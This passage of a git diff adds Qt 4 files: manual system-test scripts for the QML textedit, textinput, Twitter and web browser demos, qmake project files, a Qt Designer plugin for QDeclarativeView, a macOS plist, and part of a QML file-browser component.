+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+testcase = {
+
+ select_text: function()
+ {
+ prompt(twiki('---++ Text Selection
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textedit/textedit.qml | |
+| Enter Hello World into the green textedit field | Hello World is shown |
+| Press the Select Word button, ensuring the previously entered text in no longer in pre-commit mode | World is selected |
+| Press the Select All button | Hello World is selected |
+| Press the Select None button | No text is selected |
+| Press the Mouse Select button | The button turns green and indicates Mouse On |
+| Click and drag over some text | Only that text is selected. On sans-keyboard Symbian, the soft keyboard may show with selected text highlighted |
+| If the soft keyboard is shown, close it | |
+| Press the Mouse Select button | The button turns gray and indicates Mouse Off |
+| Click and drag over some text | No text is selected. On sans-keyboard Symbian, the soft keyboard may show |
+'));
+ },
+
+ cut_copy_and_paste: function()
+ {
+ prompt(twiki('---++ Cut, copy and paste
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textedit/textedit.qml | |
+| Enter Hello World into the green textedit field | Hello World is shown |
+| Press the Select All button | Hello World is selected |
+| Press the Copy Button | |
+| Press the Paste Button | Hello World is copied to the light-blue textedit |
+| Press the Select Word button | World is highlighted |
+| Press the Cut button | World is removed from the green textedit |
+| Press the Paste button | World is added to the light-blue textedit |
+'));
+ },
+
+ styling: function()
+ {
+ prompt(twiki('---++ Text Styling
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textedit/textedit.qml | |
+| Enter Hello World into the green textedit field | Hello World is shown |
+| Press the Bold button | Hello World is now in bold |
+| Press the Italics button | Hello World is now in italics |
+| Press the Strikeout button | Hello World now has a line passing through it |
+| Press the Underline button | Hello World is now underlined | '));
+ },
+
+ cursor_behavior: function()
+ {
+ prompt(twiki('---++ Cursor Behavior
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textedit/textedit.qml | The Cursor button shows enabled (green) |
+| Enter enough text into the field such that it passes beyond the far right | The text wraps to line 2 |
+| Press the Cursor button as to disable it | The cursor disappears |
+| Press the Cursor button as to enable it | The cursor appears | '));
+ },
+
+ capitalization: function()
+ {
+ prompt(twiki('---++ Capitalization
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textedit/textedit.qml | |
+| Enter Hello to this World into the green textedit field | Hello to this World is shown |
+| Press the All Upper button | The text is converted to all upper case |
+| Press the All Lower button | The text is converted to all lower case |
+| Press the Small Caps button | The text is converted to all small sized upper case characters |
+| Press the Capitalize button | The text is shown with each first character of every word capitalized | '));
+ }
+
+}
diff --git a/tests/system/declarative/sys_textinput/sys_textinput.pro b/tests/system/declarative/sys_textinput/sys_textinput.pro
new file mode 100644
index 00000000..a11f8217
--- /dev/null
+++ b/tests/system/declarative/sys_textinput/sys_textinput.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_textinput.qtt
diff --git a/tests/system/declarative/sys_textinput/sys_textinput.qtt b/tests/system/declarative/sys_textinput/sys_textinput.qtt
new file mode 100644
index 00000000..fc31519a
--- /dev/null
+++ b/tests/system/declarative/sys_textinput/sys_textinput.qtt
@@ -0,0 +1,137 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+testcase = {
+
+ select_text: function()
+ {
+ prompt(twiki('---++ Text Selection
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textinput/textinput.qml | |
+| Enter Hello World into the green textinput field | Hello World is shown |
+| Press the Select Word button | World is selected |
+| Press the Select All button | Hello World is selected |
+| Press the Select None button | No text is selected |
+| Press the Mouse Select button | The button turns green and indicates Mouse On |
+| Click and drag over some text | Only that text is selected. On sans-keyboard Symbian, the soft keyboard will show with selected text highlighted |
+| Press the Mouse Select button | The button turns gray and indicates Mouse Off |
+| Click and drag over some text | No text is selected. On sans-keyboard Symbian, the soft keyboard will show |
+'));
+ },
+
+ cut_copy_and_paste: function()
+ {
+ prompt(twiki('---++ Cut, copy and paste
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textinput/textinput.qml | |
+| Enter Hello World into the green textinput field | Hello World is shown |
+| Press the Select All button | Hello World is selected |
+| Press the Copy Button | |
+| Press the Paste Button | Hello World is copied to the light-blue textinput |
+| Press the Select Word button | World is highlighted |
+| Press the Cut button | World is removed from the green textinput |
+| Press the Paste button | World is added to the light-blue textinput |
+'));
+ },
+
+ password_echo_mode: function()
+ {
+ prompt(twiki('---++ Password Echo
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textinput/textinput.qml | |
+| Enter Hello World into the green textinput field | Hello World is shown |
+| Press the Password button | Hello World is now a string of asterisks |
+| Enter an exclamation mark | An asterisk is added to the string |
+| Press the No Echo button | No text is visible |
+| Enter an exclamation mark | No text is shown |
+| Press the Password Edit button | A string of asterisks is shown |
+| Enter an exclamation mark | An exclamation mark appears at the end of the asterisks, but shortly becomes an asterisk |
+| Press the Normal button | Hello World!!! is now displayed |
+'));
+ },
+
+ styling: function()
+ {
+ prompt(twiki('---++ Text Styling
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textinput/textinput.qml | |
+| Enter Hello World into the green textinput field | Hello World is shown |
+| Press the Bold button | Hello World is now in bold |
+| Press the Italics button | Hello World is now in italics |
+| Press the Strikeout button | Hello World now has a line passing through it |
+| Press the Underline button | Hello World is now underlined | '));
+ },
+
+ cursor_behavior: function()
+ {
+ prompt(twiki('---++ Cursor Behavior
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textinput/textinput.qml | |
+| Enter enough text into the field such that it passes beyond the far right | The first half of the text is shown |
+| Press the Autoscroll button | The far right edge shows the last character of the text |
+| Enter some more text | The TextInput scrolls the text so that the last character is always visible |
+| Move the cursor to the left of the input field | |
+| Move a couple of characters further to the left | Scrolling follows the cursor |
+| Press the Autoscroll button | The text is shown from the start |
+| Press the Cursor button as to disable it | The cursor disappears |
+| Press the Cursor button as to enable it | The cursor appears | '));
+ },
+
+ capitalization: function()
+ {
+ prompt(twiki('---++ Capitalization
+
+| *Step* | *Verification* |
+| Execute systemtests/Qt/examples/declarative/textinput/textinput.qml | |
+| Enter Hello to this World into the green textinput field | Hello to this World is shown |
+| Press the All Upper button | The text is converted to all upper case |
+| Press the All Lower button | The text is converted to all lower case |
+| Press the Small Caps button | The text is converted to all small sized upper case characters |
+| Press the Capitalize button | The text is shown with each first character of every word capitalized | '));
+ }
+
+}
diff --git a/tests/system/declarative/sys_twitter/sys_twitter.pro b/tests/system/declarative/sys_twitter/sys_twitter.pro
new file mode 100644
index 00000000..96f61f08
--- /dev/null
+++ b/tests/system/declarative/sys_twitter/sys_twitter.pro
@@ -0,0 +1,2 @@
+CONFIG+=systemtest
+SOURCES=sys_twitter.qtt
diff --git a/tests/system/declarative/sys_twitter/sys_twitter.qtt b/tests/system/declarative/sys_twitter/sys_twitter.qtt
new file mode 100644
index 00000000..0b079912
--- /dev/null
+++ b/tests/system/declarative/sys_twitter/sys_twitter.qtt
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//TESTED_COMPONENT=demos/twitter
+
+testcase = {
+
+ qtxmlbat9205: function() {
+ prompt(twiki('---+++ QTQMLBAT9205 - Twitter demo
+
+ | *Step* | *Verification* |
+ | Execute the demos/declarative/twitter/twitter.qml | Verify that the Twitter application starts smoothly |
+ | Either enter you Twitter credentials or click [Guest] | Verify that Twitter opens up as expected |
+ | Scroll down the list of tweets | Verify that the list scrolls smoothly as expected |
+ | Click the [Ellipsis] icon and enter a search term | Verify that the latest tweets from the searched twitter are displayed |
+ | Click [Return Home] | Verify that you are taken to the main twitter display screen |
+ | Click [Update] | Verify that the list of twitts has updated|
+ | Click on a Twitters handle | Verify that twitts from that twitter are displayed |'));
+ }
+
+}
diff --git a/tests/system/declarative/sys_webbrowser/sys_webbrowser.pro b/tests/system/declarative/sys_webbrowser/sys_webbrowser.pro
new file mode 100644
index 00000000..958bd0c6
--- /dev/null
+++ b/tests/system/declarative/sys_webbrowser/sys_webbrowser.pro
@@ -0,0 +1,2 @@
+SOURCES=sys_webbrowser.qtt
+CONFIG+=systemtest
diff --git a/tests/system/declarative/sys_webbrowser/sys_webbrowser.qtt b/tests/system/declarative/sys_webbrowser/sys_webbrowser.qtt
new file mode 100644
index 00000000..8f24de6e
--- /dev/null
+++ b/tests/system/declarative/sys_webbrowser/sys_webbrowser.qtt
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+testcase = {
+
+ web1: function()
+ {
+ startApplication("qmlviewer", ["$QT_SRC_DIR/demos/declarative/webbrowser/webbrowser.qml"]);
+ print(getenv("QT_SRC_DIR"));
+ if(getenv("QT_SRC_DIR") == "") {
+ skip("Please set environment variable QT_SRC_DIR to source root", SkipAll);
+ }
+ var url = findWidget( { qmlType: "TextInput" } );
+ var title = findWidget( { qmlType: "Text" } )[0];
+ var web = findWidget( { qmlType: "WebView" } );
+ expect(function(){ return getProperty(web, "progress") == 1 }, 5000, 1, "Page not loaded in time");
+ enter("http://www.google.com", url);
+ expect(function(){ return getProperty(web, "progress") == 1 }, 5000, 1, "Page not loaded in time");
+ }
+}
+
diff --git a/tools/designer/src/plugins/plugins.pri b/tools/designer/src/plugins/plugins.pri
new file mode 100644
index 00000000..e5edfe2f
--- /dev/null
+++ b/tools/designer/src/plugins/plugins.pri
@@ -0,0 +1,8 @@
+CONFIG += designer
+win32|mac: CONFIG+= debug_and_release
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/designer
+contains(TEMPLATE, ".*lib"):TARGET = $$qtLibraryTarget($$TARGET)
+
+# install
+target.path = $$[QT_INSTALL_PLUGINS]/designer
+INSTALLS += target
diff --git a/tools/designer/src/plugins/plugins.pro b/tools/designer/src/plugins/plugins.pro
new file mode 100644
index 00000000..bcebb82e
--- /dev/null
+++ b/tools/designer/src/plugins/plugins.pro
@@ -0,0 +1,10 @@
+TEMPLATE = subdirs
+CONFIG += ordered
+
+REQUIRES = !CONFIG(static,shared|static)
+contains(QT_CONFIG, qt3support): SUBDIRS += widgets
+win32: SUBDIRS += activeqt
+# contains(QT_CONFIG, opengl): SUBDIRS += tools/view3d
+contains(QT_CONFIG, webkit): SUBDIRS += qwebview
+contains(QT_CONFIG, phonon): SUBDIRS += phononwidgets
+contains(QT_CONFIG, declarative): SUBDIRS += qdeclarativeview
diff --git a/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview.pro b/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview.pro
new file mode 100644
index 00000000..b8abe874
--- /dev/null
+++ b/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview.pro
@@ -0,0 +1,13 @@
+TEMPLATE = lib
+TARGET = qdeclarativeview
+CONFIG += qt warn_on plugin designer
+QT += declarative
+
+include(../plugins.pri)
+build_all:!build_pass {
+ CONFIG -= build_all
+ CONFIG += release
+}
+
+SOURCES += qdeclarativeview_plugin.cpp
+HEADERS += qdeclarativeview_plugin.h
diff --git a/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.cpp b/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.cpp
new file mode 100644
index 00000000..d35df04f
--- /dev/null
+++ b/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.cpp
@@ -0,0 +1,132 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the Qt Designer of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeview_plugin.h"
+
+#include <QtDesigner/QExtensionFactory>
+#include <QtDesigner/QExtensionManager>
+
+#include <QtCore/qplugin.h>
+#include <QtDeclarative/QDeclarativeView>
+
+static const char toolTipC[] = "QtDeclarative view widget";
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeViewPlugin::QDeclarativeViewPlugin(QObject *parent) :
+ QObject(parent),
+ m_initialized(false)
+{
+}
+
+QString QDeclarativeViewPlugin::name() const
+{
+ return QLatin1String("QDeclarativeView");
+}
+
+QString QDeclarativeViewPlugin::group() const
+{
+ return QLatin1String("Display Widgets");
+}
+
+QString QDeclarativeViewPlugin::toolTip() const
+{
+ return tr(toolTipC);
+}
+
+QString QDeclarativeViewPlugin::whatsThis() const
+{
+ return tr(toolTipC);
+}
+
+QString QDeclarativeViewPlugin::includeFile() const
+{
+ return QLatin1String("QtDeclarative/QDeclarativeView");
+}
+
+QIcon QDeclarativeViewPlugin::icon() const
+{
+ return QIcon();
+}
+
+bool QDeclarativeViewPlugin::isContainer() const
+{
+ return false;
+}
+
+QWidget *QDeclarativeViewPlugin::createWidget(QWidget *parent)
+{
+ return new QDeclarativeView(parent);
+}
+
+bool QDeclarativeViewPlugin::isInitialized() const
+{
+ return m_initialized;
+}
+
+void QDeclarativeViewPlugin::initialize(QDesignerFormEditorInterface * /*core*/)
+{
+ if (m_initialized)
+ return;
+
+ m_initialized = true;
+}
+
+QString QDeclarativeViewPlugin::domXml() const
+{
+ return QLatin1String("\
+ <ui language=\"c++\">\
+ <widget class=\"QDeclarativeView\" name=\"declarativeView\">\
+ <property name=\"geometry\">\
+ <rect>\
+ <x>0</x>\
+ <y>0</y>\
+ <width>300</width>\
+ <height>200</height>\
+ </rect>\
+ </property>\
+ </widget>\
+ </ui>");
+}
+
+Q_EXPORT_PLUGIN2(customwidgetplugin, QDeclarativeViewPlugin)
+
+QT_END_NAMESPACE
diff --git a/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.h b/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.h
new file mode 100644
index 00000000..7b1de243
--- /dev/null
+++ b/tools/designer/src/plugins/qdeclarativeview/qdeclarativeview_plugin.h
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the Qt Designer of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVIEW_PLUGIN_H
+#define QDECLARATIVEVIEW_PLUGIN_H
+
+#include <QtDesigner/QDesignerCustomWidgetInterface>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeViewPlugin: public QObject, public QDesignerCustomWidgetInterface
+{
+ Q_OBJECT
+ Q_INTERFACES(QDesignerCustomWidgetInterface)
+public:
+ QDeclarativeViewPlugin(QObject *parent = 0);
+
+ virtual QString name() const;
+ virtual QString group() const;
+ virtual QString toolTip() const;
+ virtual QString whatsThis() const;
+ virtual QString includeFile() const;
+ virtual QIcon icon() const;
+ virtual bool isContainer() const;
+ virtual QWidget *createWidget(QWidget *parent);
+ virtual bool isInitialized() const;
+ virtual void initialize(QDesignerFormEditorInterface *core);
+ virtual QString domXml() const;
+
+private:
+ bool m_initialized;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEVIEW_PLUGIN_H
diff --git a/tools/qml/Info_mac.plist b/tools/qml/Info_mac.plist
new file mode 100644
index 00000000..08775479
--- /dev/null
+++ b/tools/qml/Info_mac.plist
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist SYSTEM "file://localhost/System/Library/DTDs/PropertyList.dtd">
+<plist version="0.1">
+<dict>
+ <key>CFBundleIconFile</key>
+ <string>@ICON@</string>
+ <key>CFBundleIdentifier</key>
+ <string>com.nokia.qt.qml</string>
+ <key>CFBundlePackageType</key>
+ <string>APPL</string>
+ <key>CFBundleGetInfoString</key>
+ <string>Created by Qt/QMake</string>
+ <key>CFBundleSignature</key>
+ <string>@TYPEINFO@</string>
+ <key>CFBundleExecutable</key>
+ <string>@EXECUTABLE@</string>
+ <key>UTExportedTypeDeclarations</key>
+ <array>
+ <dict>
+ <key>UTTypeIdentifier</key>
+ <string>com.nokia.qt.qml</string>
+ <key>UTTypeDescription</key>
+ <string>Qt Markup Language</string>
+ <key>UTTypeConformsTo</key>
+ <array>
+ <string>public.plain-text</string>
+ </array>
+ <key>UTTypeTagSpecification</key>
+ <dict>
+ <key>public.filename-extension</key>
+ <array>
+ <string>qml</string>
+ </array>
+ </dict>
+ </dict>
+ </array>
+ <key>CFBundleDocumentTypes</key>
+ <array>
+ <dict>
+ <key>LSItemContentTypes</key>
+ <array>
+ <string>com.nokia.qt.qml</string>
+ </array>
+ <key>CFBundleTypeRole</key>
+ <string>Viewer</string>
+ </dict>
+ </array>
+</dict>
+</plist>
diff --git a/tools/qml/browser/Browser.qml b/tools/qml/browser/Browser.qml
new file mode 100644
index 00000000..5c5598b5
--- /dev/null
+++ b/tools/qml/browser/Browser.qml
@@ -0,0 +1,318 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.folderlistmodel 1.0
+
+Rectangle {
+ id: root
+ property bool showFocusHighlight: false
+ property variant folders: folders1
+ property variant view: view1
+ width: 320
+ height: 480
+ color: palette.window
+
+ FolderListModel {
+ id: folders1
+ nameFilters: [ "*.qml" ]
+ folder: qmlViewerFolder
+ }
+ FolderListModel {
+ id: folders2
+ nameFilters: [ "*.qml" ]
+ folder: qmlViewerFolder
+ }
+
+ SystemPalette { id: palette }
+
+ function down(path) {
+ if (folders == folders1) {
+ view = view2
+ folders = folders2;
+ view1.state = "exitLeft";
+ } else {
+ view = view1
+ folders = folders1;
+ view2.state = "exitLeft";
+ }
+ view.x = root.width;
+ view.state = "current";
+ view.focus = true;
+ folders.folder = path;
+ }
+ function up() {
+ var path = folders.parentFolder;
+ if (folders == folders1) {
+ view = view2
+ folders = folders2;
+ view1.state = "exitRight";
+ } else {
+ view = view1
+ folders = folders1;
+ view2.state = "exitRight";
+ }
+ view.x = -root.width;
+ view.state = "current";
+ view.focus = true;
+ folders.folder = path;
+ }
+ function keyPressed(key) {
+ switch (key) {
+ case Qt.Key_Up:
+ case Qt.Key_Down:
+ case Qt.Key_Left:
+ case Qt.Key_Right:
+ root.showFocusHighlight = true;
+ break;
+ default:
+ // do nothing
+ break;
+ }
+ }
+
+ Component {
+ id: folderDelegate
+ Rectangle {
+ id: wrapper
+ function launch() {
+ if (folders.isFolder(index)) {
+ down(filePath);
+ } else {
+ qmlViewer.launch(filePath);
+ }
+ }
+ width: root.width
+ height: 52
+ color: "transparent"
+ Rectangle {
+ id: highlight; visible: false
+ anchors.fill: parent
+ color: palette.highlight
+ gradient: Gradient {
+ GradientStop { id: t1; position: 0.0; color: palette.highlight }
+ GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) }
+ }
+ }
+ Item {
+ width: 48; height: 48
+ Image { source: "images/folder.png"; anchors.centerIn: parent; visible: folders.isFolder(index)}
+ }
+ Text {
+ id: nameText
+ anchors.fill: parent; verticalAlignment: Text.AlignVCenter
+ text: fileName
+ anchors.leftMargin: 54
+ font.pixelSize: 32
+ color: (wrapper.ListView.isCurrentItem && root.showFocusHighlight) ? palette.highlightedText : palette.windowText
+ elide: Text.ElideRight
+ }
+ MouseArea {
+ id: mouseRegion
+ anchors.fill: parent
+ onPressed: {
+ root.showFocusHighlight = false;
+ wrapper.ListView.view.currentIndex = index;
+ }
+ onClicked: { if (folders == wrapper.ListView.view.model) launch() }
+ }
+ states: [
+ State {
+ name: "pressed"
+ when: mouseRegion.pressed
+ PropertyChanges { target: highlight; visible: true }
+ PropertyChanges { target: nameText; color: palette.highlightedText }
+ }
+ ]
+ }
+ }
+
+ ListView {
+ id: view1
+ anchors.top: titleBar.bottom
+ anchors.bottom: parent.bottom
+ x: 0
+ width: parent.width
+ model: folders1
+ delegate: folderDelegate
+ highlight: Rectangle {
+ color: palette.highlight
+ visible: root.showFocusHighlight && view1.count != 0
+ gradient: Gradient {
+ GradientStop { id: t1; position: 0.0; color: palette.highlight }
+ GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) }
+ }
+ width: view1.currentItem == null ? 0 : view1.currentItem.width
+ }
+ highlightMoveSpeed: 1000
+ pressDelay: 100
+ focus: true
+ state: "current"
+ states: [
+ State {
+ name: "current"
+ PropertyChanges { target: view1; x: 0 }
+ },
+ State {
+ name: "exitLeft"
+ PropertyChanges { target: view1; x: -root.width }
+ },
+ State {
+ name: "exitRight"
+ PropertyChanges { target: view1; x: root.width }
+ }
+ ]
+ transitions: [
+ Transition {
+ to: "current"
+ SequentialAnimation {
+ NumberAnimation { properties: "x"; duration: 250 }
+ }
+ },
+ Transition {
+ NumberAnimation { properties: "x"; duration: 250 }
+ NumberAnimation { properties: "x"; duration: 250 }
+ }
+ ]
+ Keys.onPressed: root.keyPressed(event.key)
+ }
+
+ ListView {
+ id: view2
+ anchors.top: titleBar.bottom
+ anchors.bottom: parent.bottom
+ x: parent.width
+ width: parent.width
+ model: folders2
+ delegate: folderDelegate
+ highlight: Rectangle {
+ color: palette.highlight
+ visible: root.showFocusHighlight && view2.count != 0
+ gradient: Gradient {
+ GradientStop { id: t1; position: 0.0; color: palette.highlight }
+ GradientStop { id: t2; position: 1.0; color: Qt.lighter(palette.highlight) }
+ }
+ width: view1.currentItem == null ? 0 : view1.currentItem.width
+ }
+ highlightMoveSpeed: 1000
+ pressDelay: 100
+ states: [
+ State {
+ name: "current"
+ PropertyChanges { target: view2; x: 0 }
+ },
+ State {
+ name: "exitLeft"
+ PropertyChanges { target: view2; x: -root.width }
+ },
+ State {
+ name: "exitRight"
+ PropertyChanges { target: view2; x: root.width }
+ }
+ ]
+ transitions: [
+ Transition {
+ to: "current"
+ SequentialAnimation {
+ NumberAnimation { properties: "x"; duration: 250 }
+ }
+ },
+ Transition {
+ NumberAnimation { properties: "x"; duration: 250 }
+ }
+ ]
+ Keys.onPressed: root.keyPressed(event.key)
+ }
+
+ Keys.onPressed: {
+ root.keyPressed(event.key);
